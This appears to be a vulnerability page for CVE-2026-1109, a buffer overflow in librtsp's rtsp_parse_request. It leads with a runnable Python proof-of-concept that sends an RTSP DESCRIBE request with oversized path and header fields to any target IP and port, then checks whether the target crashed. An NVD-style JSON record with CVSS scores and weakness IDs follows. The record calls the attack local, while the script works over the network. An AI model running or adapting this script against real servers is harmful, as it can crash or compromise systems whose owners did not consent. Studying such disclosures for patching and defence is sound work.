CVE-2026-1109

#!/usr/bin/env python3 # CVE-2026-1109 PoC - librtsp rtsp_parse_request Buffer Overflow # This PoC demonstrates sending a malicious RTSP request with oversized headers import socket import sys def create_malicious_rtsp_request(): """Generate a malformed RTSP request to trigger buffer overflow in rtsp_parse_request""" # RTSP method and path method = "DESCRIBE" path = "/" + "A" * 2000 # Long path to overflow buffer # RTSP version version = "RTSP/1.0\r\n" # Malformed headers with oversized values headers = { "CSeq": "1", "User-Agent": "A" * 1500, # Oversized User-Agent header "Accept": "A" * 1000, "Authorization": "A" * 2000 # Potential overflow point } # Build the request request = f"{method} {path} {version}" for header, value in headers.items(): request += f"{header}: {value}\r\n" request += "\r\n" return request.encode('utf-8') def exploit(target_ip, target_port=554): """Send the malicious RTSP request to target""" print(f"[*] Sending malicious RTSP request to {target_ip}:{target_port}") print(f"[*] Request size: {len(create_malicious_rtsp_request())} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send malicious request sock.send(create_malicious_rtsp_request()) print("[+] Malicious request sent successfully") # Wait for response try: response = sock.recv(4096) print(f"[+] Received response: {response[:100]}") except socket.timeout: print("[!] No response received - target may have crashed") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 exploit(target, port)

{"cve": {"id": "CVE-2026-1109", "sourceIdentifier": "[email protected]", "published": "2026-01-18T04:15:59.613", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in cijliu librtsp up to 2ec1a81ad65280568a0c7c16420d7c10fde13b04. The impacted element is the function rtsp_parse_request. The manipulation results in buffer overflow. Attacking locally is a requirement. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se detectó una vulnerabilidad en cijliu librtsp hasta 2ec1a81ad65280568a0c7c16420d7c10fde13b04. El elemento afectado es la función rtsp_parse_request. La manipulación resulta en desbordamiento de búfer. Atacar localmente es un requisito. Este producto adopta el enfoque de lanzamientos continuos para proporcionar entrega continua. Por lo tanto, los detalles de la versión para las versiones afectadas y actualizadas no están disponibles. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cijliu:librtsp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2021-03-14", "matchCriteriaId": "434C52CB-48A2-409B-8685-B0907D0936EF"}]}]}], "references": [{"url": "https://github.com/fizz-is-on-the-way/vuls_protocol/blob/main/librtsp_rtsp_parse_request/librtsp_rtsp_parse_request.md", "source": "cna@ ... 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